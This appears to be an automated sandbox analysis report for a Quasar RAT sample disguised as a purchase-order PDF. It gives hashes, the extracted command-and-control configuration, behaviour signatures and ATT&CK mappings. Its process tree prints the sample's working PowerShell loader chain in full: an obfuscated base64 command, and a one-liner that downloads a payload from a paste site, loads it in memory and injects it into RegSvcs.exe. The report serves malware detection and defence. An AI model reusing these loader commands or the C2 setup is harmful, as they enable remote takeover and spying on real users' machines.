quasar | c983314c573fe3408730565056c78968b2fdf9dec5d6f67701bcd62eadc39ea4

General

Target

PO_978585_Windshield_&_Escape_Slide.pdf.vbs
Size

197KB
MD5

4730787ad81772f8d9b03ae8faf9efc3
SHA1

4d09795bab624a2dbeb62a14870693f8c0dc810c
SHA256

c983314c573fe3408730565056c78968b2fdf9dec5d6f67701bcd62eadc39ea4
SHA512

d7b28b0377fd0ec04d105a6c3ee3ae92ff98d29b3d8aa1d1c677817fad4b9816126eb4e7e23376d60dd1d263dd0e3ad182732b2e2c8ee0cfa54c64440fdaeaec
SSDEEP

384:z1OlYw8nrW9LrBppppppppppppppppppppNGpppppppppppppppppppppppppppf:sfirg/LNA

Score

10^/10

quasar aldo_r3gon execution spyware trojan

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://pasteio.com/download/xcxWvykfm30a

Extracted

Family

quasar

Version

1.4.1

Botnet

aldo_R3GON

C2

peurnick24.bumbleshrimp.com:7310

Mutex

77413eeb-5d1c-4bf8-986f-3c9d48a16cd6

Attributes

encryption_key
A3226D93494A561FEC5149605B952B09B55012C6
install_name
Client.exe
log_directory
Logs
reconnect_delay
3000
startup_key
Quasar Client Startup
subdirectory
SubDir

Signatures

Quasar RAT
Quasar is an open source Remote Access Tool.
trojan spyware quasar

Quasar payload 1 IoCs

Processes:

resource	yara_rule
behavioral2/memory/4040-36-0x0000000000400000-0x0000000000724000-memory.dmp	family_quasar

Blocklisted process makes network request 3 IoCs

Processes:

powershell.exe

flow pid process

8 4144 powershell.exe
15 4144 powershell.exe
23 4144 powershell.exe

flow	pid	process
8	4144	powershell.exe
15	4144	powershell.exe
23	4144	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

Processes:

WScript.exe

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-4124900551-4068476067-3491212533-1000\Control Panel\International\Geo\Nation	WScript.exe

Drops startup file 1 IoCs

Processes:

powershell.exe

description	ioc	process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\_______________________-------------.lnk	powershell.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service
T1102

Processes:

flow ioc

14 pastebin.com
15 pastebin.com
Suspicious use of SetThreadContext 1 IoCs

Processes:

powershell.exe

description pid process target process

PID 4144 set thread context of 4040 4144 powershell.exe RegSvcs.exe
Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs
Using powershell.exe command.
execution

PowerShell
T1059.001

Processes:

powershell.exepowershell.exe

pid process

3240 powershell.exe
4144 powershell.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

flow	ioc
14	pastebin.com
15	pastebin.com

description	pid	process	target process
PID 4144 set thread context of 4040	4144	powershell.exe	RegSvcs.exe

Suspicious behavior: EnumeratesProcesses 9 IoCs

Processes:

powershell.exepowershell.exepowershell.exe

pid	process
3240	powershell.exe
3240	powershell.exe
4144	powershell.exe
4144	powershell.exe
4144	powershell.exe
60	powershell.exe
60	powershell.exe
4144	powershell.exe
4144	powershell.exe

Suspicious use of AdjustPrivilegeToken 4 IoCs

Processes:

powershell.exepowershell.exepowershell.exeRegSvcs.exe

description	pid	process
Token: SeDebugPrivilege	3240	powershell.exe
Token: SeDebugPrivilege	4144	powershell.exe
Token: SeDebugPrivilege	60	powershell.exe
Token: SeDebugPrivilege	4040	RegSvcs.exe

Suspicious use of FindShellTrayWindow 2 IoCs

Processes:

RegSvcs.exe

pid process

4040 RegSvcs.exe
4040 RegSvcs.exe
Suspicious use of SendNotifyMessage 2 IoCs

Processes:

RegSvcs.exe

pid process

4040 RegSvcs.exe
4040 RegSvcs.exe
Suspicious use of SetWindowsHookEx 1 IoCs

Processes:

RegSvcs.exe

pid process

4040 RegSvcs.exe

pid	process
4040	RegSvcs.exe
4040	RegSvcs.exe

pid	process
4040	RegSvcs.exe
4040	RegSvcs.exe

pid	process
4040	RegSvcs.exe

Suspicious use of WriteProcessMemory 17 IoCs

Processes:

WScript.exepowershell.exepowershell.exe

description	pid	process	target process
PID 3644 wrote to memory of 3240	3644	WScript.exe	powershell.exe
PID 3644 wrote to memory of 3240	3644	WScript.exe	powershell.exe
PID 3240 wrote to memory of 4144	3240	powershell.exe	powershell.exe
PID 3240 wrote to memory of 4144	3240	powershell.exe	powershell.exe
PID 4144 wrote to memory of 60	4144	powershell.exe	powershell.exe
PID 4144 wrote to memory of 60	4144	powershell.exe	powershell.exe
PID 4144 wrote to memory of 880	4144	powershell.exe	RegSvcs.exe
PID 4144 wrote to memory of 880	4144	powershell.exe	RegSvcs.exe
PID 4144 wrote to memory of 880	4144	powershell.exe	RegSvcs.exe
PID 4144 wrote to memory of 4040	4144	powershell.exe	RegSvcs.exe
PID 4144 wrote to memory of 4040	4144	powershell.exe	RegSvcs.exe
PID 4144 wrote to memory of 4040	4144	powershell.exe	RegSvcs.exe
PID 4144 wrote to memory of 4040	4144	powershell.exe	RegSvcs.exe
PID 4144 wrote to memory of 4040	4144	powershell.exe	RegSvcs.exe
PID 4144 wrote to memory of 4040	4144	powershell.exe	RegSvcs.exe
PID 4144 wrote to memory of 4040	4144	powershell.exe	RegSvcs.exe
PID 4144 wrote to memory of 4040	4144	powershell.exe	RegSvcs.exe

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\PO_978585_Windshield_&_Escape_Slide.pdf.vbs"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:3644

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $ExeNy = 'J▒Bw▒GI▒cwB4▒GU▒I▒▒9▒C▒▒Jw▒w▒DM▒N▒▒n▒Ds▒J▒Br▒GU▒bgBx▒Hg▒I▒▒9▒C▒▒Jw▒l▒H▒▒egBB▒GM▒TwBn▒Ek▒bgBN▒HI▒JQ▒n▒Ds▒WwBC▒Hk▒d▒Bl▒Fs▒XQBd▒C▒▒J▒Bu▒HU▒c▒Bk▒Gc▒I▒▒9▒C▒▒WwBz▒Hk▒cwB0▒GU▒bQ▒u▒EM▒bwBu▒HY▒ZQBy▒HQ▒XQ▒6▒Do▒RgBy▒G8▒bQBC▒GE▒cwBl▒DY▒N▒BT▒HQ▒cgBp▒G4▒Zw▒o▒C▒▒K▒BO▒GU▒dw▒t▒E8▒YgBq▒GU▒YwB0▒C▒▒TgBl▒HQ▒LgBX▒GU▒YgBD▒Gw▒aQBl▒G4▒d▒▒p▒C4▒R▒Bv▒Hc▒bgBs▒G8▒YQBk▒FM▒d▒By▒Gk▒bgBn▒Cg▒JwBo▒HQ▒d▒Bw▒HM▒Og▒v▒C8▒c▒Bh▒HM▒d▒Bl▒Gk▒bw▒u▒GM▒bwBt▒C8▒Z▒Bv▒Hc▒bgBs▒G8▒YQBk▒C8▒e▒Bj▒Hg▒VwB2▒Hk▒awBm▒G0▒Mw▒w▒GE▒Jw▒p▒Ck▒OwBb▒HM▒eQBz▒HQ▒ZQBt▒C4▒QQBw▒H▒▒R▒Bv▒G0▒YQBp▒G4▒XQ▒6▒Do▒QwB1▒HI▒cgBl▒G4▒d▒BE▒G8▒bQBh▒Gk▒bg▒u▒Ew▒bwBh▒GQ▒K▒▒k▒G4▒dQBw▒GQ▒Zw▒p▒C4▒RwBl▒HQ▒V▒B5▒H▒▒ZQ▒o▒Cc▒QwBs▒GE▒cwBz▒Ew▒aQBi▒HI▒YQBy▒Hk▒MQ▒u▒EM▒b▒Bh▒HM▒cw▒x▒Cc▒KQ▒u▒Ec▒ZQB0▒E0▒ZQB0▒Gg▒bwBk▒Cg▒JwBa▒Hg▒SwBI▒Ec▒Jw▒p▒C4▒SQBu▒HY▒bwBr▒GU▒K▒▒k▒G4▒dQBs▒Gw▒L▒▒g▒Fs▒bwBi▒Go▒ZQBj▒HQ▒WwBd▒F0▒I▒▒o▒Cc▒ag▒1▒DM▒MQ▒4▒Gk▒SwBX▒C8▒dwBh▒HI▒LwBt▒G8▒Yw▒u▒G4▒aQBi▒GU▒d▒Bz▒GE▒c▒▒v▒C8▒OgBz▒H▒▒d▒B0▒Gg▒Jw▒g▒Cw▒I▒▒k▒Gs▒ZQBu▒HE▒e▒▒g▒Cw▒I▒▒n▒F8▒XwBf▒F8▒XwBf▒F8▒XwBf▒F8▒XwBf▒F8▒XwBf▒F8▒XwBf▒F8▒XwBf▒F8▒Xw▒t▒C0▒LQ▒t▒C0▒LQ▒t▒C0▒LQ▒t▒C0▒LQ▒t▒Cc▒L▒▒g▒CQ▒c▒Bi▒HM▒e▒Bl▒Cw▒I▒▒n▒DE▒Jw▒s▒C▒▒JwBS▒G8▒Z▒Bh▒Cc▒I▒▒p▒Ck▒Ow▒=';$KByHL = [system.Text.Encoding]::Unicode.GetString( [system.Convert]::FromBase64String( $ExeNy.replace('▒','A') ) );$KByHL = $KByHL.replace('%pzAcOgInMr%', 'C:\Users\Admin\AppData\Local\Temp\PO_978585_Windshield_&_Escape_Slide.pdf.vbs');powershell -command $KByHL;
2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3240

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "$pbsxe = '034';$kenqx = 'C:\Users\Admin\AppData\Local\Temp\PO_978585_Windshield_&_Escape_Slide.pdf.vbs';[Byte[]] $nupdg = [system.Convert]::FromBase64String( (New-Object Net.WebClient).DownloadString('https://pasteio.com/download/xcxWvykfm30a'));[system.AppDomain]::CurrentDomain.Load($nupdg).GetType('ClassLibrary1.Class1').GetMethod('ZxKHG').Invoke($null, [object[]] ('j5318iKW/war/moc.nibetsap//:sptth' , $kenqx , '_______________________-------------', $pbsxe, '1', 'Roda' ));"
3⤵
- Blocklisted process makes network request
- Drops startup file
- Suspicious use of SetThreadContext
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4144

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe Copy-Item 'C:\Users\Admin\AppData\Local\Temp\PO_978585_Windshield_&_Escape_Slide.pdf.vbs' -Destination 'C:\Users\Admin\AppData\Local\Temp\'
4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:60

C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"
4⤵
PID:880

C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"
4⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of SetWindowsHookEx
PID:4040

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Web Service

1

T1102

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
fa6b57da4ef6a96e5df9afcbd452e5e0

SHA1
d56d203c5847fa787c39e020de72817347d40915

SHA256
46b4e20eaac9c9fedc60af05db073b8d0903fc03d5438ad82aa1d521dcdbea59

SHA512
c3fb237e362fc26a7f38e99cce04095e0bcbc8e088a411b93f9fe5b7ec52133355177dbf9179c4e01e66a5addf8c2b07956079e2f83d9d486bd745a97175c386

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
6fe7f2ff9f024b0658a4113e39b826fc

SHA1
07a0d4ec3b19b62fd409ddb60e843021ac40f1f3

SHA256
e8f1c76e1435d42070f4d6c600c2301710b291674c00ef9c069508f0fea69cf1

SHA512
64448c79c9070cbc179df72420c1d86d10ea2ff8ae0d9c3fed5676851cb45a64e65a9d637a1f8f41ecf4dc51c3d5ff8a689519d9ea13d9837b3f9cfaddd13979

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
64B

MD5
5caad758326454b5788ec35315c4c304

SHA1
3aef8dba8042662a7fcf97e51047dc636b4d4724

SHA256
83e613b6dc8d70e3bb67c58535e014f58f3e8b2921e93b55137d799fc8c56391

SHA512
4e0d443cf81e2f49829b0a458a08294bf1bdc0e38d3a938fb8274eeb637d9a688b14c7999dd6b86a31fcec839a9e8c1a9611ed0bbae8bd59caa9dba1e8253693

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_sxpuzaw5.u0n.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/3240-1-0x000002885B870000-0x000002885B892000-memory.dmp

Filesize
136KB

Download
memory/3240-11-0x00007FF96DF70000-0x00007FF96EA31000-memory.dmp

Filesize
10.8MB

Download
memory/3240-12-0x00007FF96DF70000-0x00007FF96EA31000-memory.dmp

Filesize
10.8MB

Download
memory/3240-0-0x00007FF96DF73000-0x00007FF96DF75000-memory.dmp

Filesize
8KB

Download
memory/3240-42-0x00007FF96DF70000-0x00007FF96EA31000-memory.dmp

Filesize
10.8MB

Download
memory/4040-46-0x0000000006BB0000-0x00000000071C8000-memory.dmp

Filesize
6.1MB

Download
memory/4040-36-0x0000000000400000-0x0000000000724000-memory.dmp

Filesize
3.1MB

Download
memory/4040-43-0x00000000059A0000-0x0000000005F44000-memory.dmp

Filesize
5.6MB

Download
memory/4040-44-0x0000000005530000-0x00000000055C2000-memory.dmp

Filesize
584KB

Download
memory/4040-45-0x0000000005600000-0x000000000560A000-memory.dmp

Filesize
40KB

Download
memory/4040-47-0x0000000006740000-0x0000000006790000-memory.dmp

Filesize
320KB

Download
memory/4040-48-0x00000000069A0000-0x0000000006A52000-memory.dmp

Filesize
712KB

Download
memory/4040-51-0x0000000007CF0000-0x0000000007D02000-memory.dmp

Filesize
72KB

Download
memory/4040-52-0x0000000007D50000-0x0000000007D8C000-memory.dmp

Filesize
240KB

Download
memory/4040-53-0x0000000007E00000-0x0000000007E66000-memory.dmp

Filesize
408KB

Download
memory/4144-35-0x000001DE5CEC0000-0x000001DE5CECA000-memory.dmp

Filesize
40KB

Download
memory/4144-22-0x000001DE44D70000-0x000001DE44D7A000-memory.dmp

Filesize
40KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads